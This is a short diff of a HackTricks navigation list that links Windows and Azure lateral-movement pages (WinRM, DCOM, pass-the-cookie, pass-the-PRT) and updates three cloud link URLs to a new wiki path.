- [**AtExec / SchtasksExec**](atexec.md)
- [**WinRM**](winrm.md)
- [**DCOM Exec**](dcom-exec.md)
-- [**Pass the cookie**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-cookie) (cloud)
-- [**Pass the PRT**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/pass-the-prt) (cloud)
-- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-certificate) (cloud)
+- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud)
+- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud)
+- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud)
{{#include ../../banners/hacktricks-training.md}}